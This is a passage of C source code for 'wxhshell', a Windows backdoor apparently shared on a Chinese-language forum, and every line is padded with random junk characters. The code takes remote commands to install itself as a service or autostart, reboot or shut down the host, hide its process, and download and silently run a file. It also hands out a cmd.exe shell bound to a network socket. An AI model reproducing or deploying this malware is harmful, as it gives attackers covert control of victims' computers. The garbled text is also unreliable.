  case '?': { vO" $Xw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {m}B=u  
    break; <_""4  
  } 7I4G:-V:^  
  // 安装 hIa@JEIt  
  case 'i': { ,2?"W8,  
    if(Install()) rS9*_-NH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M3 8,SH<  
    else n15c1=gs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z x{\SU  
    break; DC`6g#*<  
    } hD\C[C,  
  // 卸载 Cm}ZeQ  
  case 'r': { Jg|3Wjq5  
    if(Uninstall()) }}~ ^!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&}qie,  
    else 2q# t/oN3T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q>}I@eyJ  
    break; ~I/7{B|yX  
    } eU7RO  
  // 显示 wxhshell 所在路径 NVFAmX.Z:  
  case 'p': { pCf-W/v  
    char svExeFile[MAX_PATH]; dQA J`9B  
    strcpy(svExeFile,"\n\r"); t]FFGnBZ  
      strcat(svExeFile,ExeFile); +u _mT$|T  
        send(wsh,svExeFile,strlen(svExeFile),0); Z<y +D-/  
    break; @N.W#<IG  
    } h bj^!0m  
  // 重启 #.}Su+XF  
  case 'b': { T4Z("  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]@ETQ8QN  
    if(Boot(REBOOT)) ~PuPY:"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4E3HYZ  
    else { A'|W0|R9  
    closesocket(wsh); :KX/GN!n  
    ExitThread(0); aI|)m8 >)X  
    } A@'):V8_%C  
    break; C bG"8F|4  
    } >~J_9'gX6  
  // 关机 4)9X) Qx  
  case 'd': { SVXey?A;CJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x#dJH9NR[  
    if(Boot(SHUTDOWN)) @R}L 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $K<jmEC@<  
    else { $yaE!.Kc  
    closesocket(wsh); @c$mc  
    ExitThread(0); e5fJN)+a  
    } !l6B_[!@  
    break; 9L:v$4{LU  
    } e~rBV+f  
  // 获取shell |c8p{)  
  case 's': { jopC\Z  
    CmdShell(wsh); \/K>Iv'$  
    closesocket(wsh); BY,%+>bc)  
    ExitThread(0); 1[3"|  
    break; vR1%&(f{  
  } zZ-e2)1v  
  // 退出 -lSm:O@'  
  case 'x': { 9'//_ A,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZWf{!L,@Z  
    CloseIt(wsh); lu-VBVwR  
    break; 4KybN  
    } f<|8NQ2y.  
  // 离开 # FaR?L![Y  
  case 'q': { !;CY @=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -oF4mi8S  
    closesocket(wsh); shn`>=0.&  
    WSACleanup(); mq'q@@:c  
    exit(1); 6t]oSxN  
    break; =#%e'\)a  
        } aKCCFHq t!  
  } WlZ[9,:p1  
  } Q1eiU Y6  
|7%$+g  
  // 提示信息 Y!&dj95y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7\{<AM?*  
} <#|3z8N2  
  } x6Z$lhZ  
Y]8l]l 1  
  return; {2Gp+&  
} +~FH'DsT  
{AIZ,  
// shell模块句柄 ~sSB.g  
int CmdShell(SOCKET sock) -ZihEyG?V  
{ }aX).u  
STARTUPINFO si; yJb;V#  
ZeroMemory(&si,sizeof(si)); j?z(fs-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y,E:?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 103^\Av8  
PROCESS_INFORMATION ProcessInfo; k )){1O  
char cmdline[]="cmd"; B u4N~0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *QLl jGe  
  return 0; 0HxF#SlKM  
} -JwH^*Ad  
sOJ"~p  
// 自身启动模式 -QS_bQG%  
int StartFromService(void) ,rX!V=Z5  
{ e`}|*^-  
typedef struct 3Q`'C7Pi  
{ >Ckb9A  
  DWORD ExitStatus; gn(n</\/O  
  DWORD PebBaseAddress; 3v0)oK  
  DWORD AffinityMask; QX(:!b  
  DWORD BasePriority; <j,7Z>Rk\x  
  ULONG UniqueProcessId; OgfQGGc  
  ULONG InheritedFromUniqueProcessId; E) z g,7Y  
}   PROCESS_BASIC_INFORMATION; >{GC@Cw  
lBh {8a|2W  
PROCNTQSIP NtQueryInformationProcess; eW >k'ez  
u%*;gu"2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'inWV* P*g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I/^Lr_\  
7%w4?Nv3I  
  HANDLE             hProcess; pbm4C0W}  
  PROCESS_BASIC_INFORMATION pbi; ,hOJe=u46  
5gJQr%pS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SH}O?d\Q:  
  if(NULL == hInst ) return 0; Y}f%/vus  
U_I'Nz!^ t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = )(;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L YH9P-5H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OB$A"XGAEV  
tU)+q?Mw  
  if (!NtQueryInformationProcess) return 0; `C!Pe84(  
N+}yw4lb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3rR(>}:[V  
  if(!hProcess) return 0; $V\xN(Ed  
BwBv 'p+n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t<: XY  
T_gW't>   
  CloseHandle(hProcess); u8[X\f  
has5"Bb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |`O7> (h  
if(hProcess==NULL) return 0; F` ?pZ  
Za01z^  
HMODULE hMod; N$=<6eQm  
char procName[255]; fYCAwS{  
unsigned long cbNeeded; +p43d:[  
Vx#xq#wK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TUk1h\.q  
e@Mm4&f[p  
  CloseHandle(hProcess); kF\ QO [  
!Sw7!h.ut  
if(strstr(procName,"services")) return 1; // 以服务启动 f'%}{l: ss  
`,7BU??+u  
  return 0; // 注册表启动 cCj}{=U  
} &2) mpY8xQ  
.eeM&n;c  
// 主模块 74Kl!A  
int StartWxhshell(LPSTR lpCmdLine) WnIh( 0  
{ E26ZVFg  
  SOCKET wsl; myJsRb5  
BOOL val=TRUE; fitm*  
  int port=0; ke/o11LP  
  struct sockaddr_in door; * |,V$  
v4S|&m  
  if(wscfg.ws_autoins) Install(); 'rCwPsI&4  
dB1bf2'b#  
port=atoi(lpCmdLine); x&?35B i  
Ii,L6c  
if(port<=0) port=wscfg.ws_port; ZsV'-gu  
*~-~kv4-  
  WSADATA data; S*\`LBl"nX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z&}94  
"dkvk7zCP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i-/'F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (sPZ1Fr\o  
  door.sin_family = AF_INET; -EL"Sv?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]*v%(IGK  
  door.sin_port = htons(port); l5@k8tnz  
q=6M3OnS>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~w!<J-z)  
closesocket(wsl); X#Hs{J~@p  
return 1; kszYbz"  
} gWJLWL2  
ixU1v~T  
  if(listen(wsl,2) == INVALID_SOCKET) { -aec1+o  
closesocket(wsl); 8cW]jm  
return 1; & d~6MSk  
} @s@r5uR9B  
  Wxhshell(wsl); q|Ga   
  WSACleanup(); >B3_P4pW9  
xEZvCwsb  
return 0; 6t@3 a?  
XfY]qQP  
} E7 7Au;TL  
X+hyUz(%R  
// 以NT服务方式启动 Ejn19{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *VL-b8'A<  
{ L%=u&9DmU  
DWORD   status = 0; ;H}? 8L  
  DWORD   specificError = 0xfffffff; _\u'~wWl  
X}S<MA`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6rR}qV,+{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -1U]@s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 "4AS_Q  
  serviceStatus.dwWin32ExitCode     = 0; 2.2 s>?\  
  serviceStatus.dwServiceSpecificExitCode = 0; |qZ4h7wL  
  serviceStatus.dwCheckPoint       = 0; Aw >DZ2  
  serviceStatus.dwWaitHint       = 0; !$&K~>`  
U?.VY@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '{ C=vW  
  if (hServiceStatusHandle==0) return; /y NU0/  
i\N,4Fdor  
status = GetLastError();  /pV^w  
  if (status!=NO_ERROR) O~igwFe  
{ t*n!kXa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $ABW|r  
    serviceStatus.dwCheckPoint       = 0; mGoUF$9 k  
    serviceStatus.dwWaitHint       = 0; UF0PWpuO  
    serviceStatus.dwWin32ExitCode     = status; rw58bkh6  
    serviceStatus.dwServiceSpecificExitCode = specificError; V>z8 *28S.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ky[FNgQ3n  
    return; P PmE.%_  
  } {:!*1L  
_d,_&7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nww,y  
  serviceStatus.dwCheckPoint       = 0; y/ vE  
  serviceStatus.dwWaitHint       = 0; hoPCbjkov  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2}hEBw68  
} 9D-PmSnv  
`43E-'g  
// 处理NT服务事件,比如:启动、停止 9'T nR[>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -R| v&h%T  
{ !.kj-==s{7  
switch(fdwControl) _PQQ&e)E  
{ PYW~x@]k%,  
case SERVICE_CONTROL_STOP: {QJJw}!#  
  serviceStatus.dwWin32ExitCode = 0; _?mu2!X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V\4'Hd  
  serviceStatus.dwCheckPoint   = 0; .y|*  
  serviceStatus.dwWaitHint     = 0; A)'{G  
  { PC=b.H8P+W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b$%W<D  
  } l2z@t3{  
  return;  ig jr=e  
case SERVICE_CONTROL_PAUSE: Pv/$ ;R%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <08)G7  
  break; >'7Icx  
case SERVICE_CONTROL_CONTINUE: Np+<)q2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {0QNqjue  
  break; mM!Gomp  
case SERVICE_CONTROL_INTERROGATE: =5',obYN>c  
  break; :[,-wZiT~6  
}; D8G5,s-.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;MR8E9  
} f{G ^b&x  
AwUcU;"9>  
// 标准应用程序主函数 h 5<46!P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RMDzPda.  
{ !CY: XQm  
~"#qG6dP  
// 获取操作系统版本 'H zF/RKh  
OsIsNt=GetOsVer(); 5{L~e>oS9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]]V|[g&aJ  
? 0p_/mZ  
  // 从命令行安装 PFu{OJg&  
  if(strpbrk(lpCmdLine,"iI")) Install(); EWrIDZi  
xN'$ Yh  
  // 下载执行文件  l|j  
if(wscfg.ws_downexe) { /R!:ll2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O,x[6P54P  
  WinExec(wscfg.ws_filenam,SW_HIDE); e?,n>  
} Xq@Bzya  
<Y:{>=  
if(!OsIsNt) { Nu/wjx$b  
// 如果时win9x,隐藏进程并且设置为注册表启动 B/0Xqyu  
HideProc(); =+DfIO  
StartWxhshell(lpCmdLine); #p*D.We  
} DS%~'S  
else n 9PYZxy  
  if(StartFromService()) 0*]n#+=  
  // 以服务方式启动 l|9' M'a  
  StartServiceCtrlDispatcher(DispatchTable); J;|a)Nw  
else %68'+qz  
  // 普通方式启动 I() =Ufs5z  
  StartWxhshell(lpCmdLine); L`NY^  
aS=-9P;v  
return 0; < KG q  
}
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只看该作者 1 发表于: 2006-10-10
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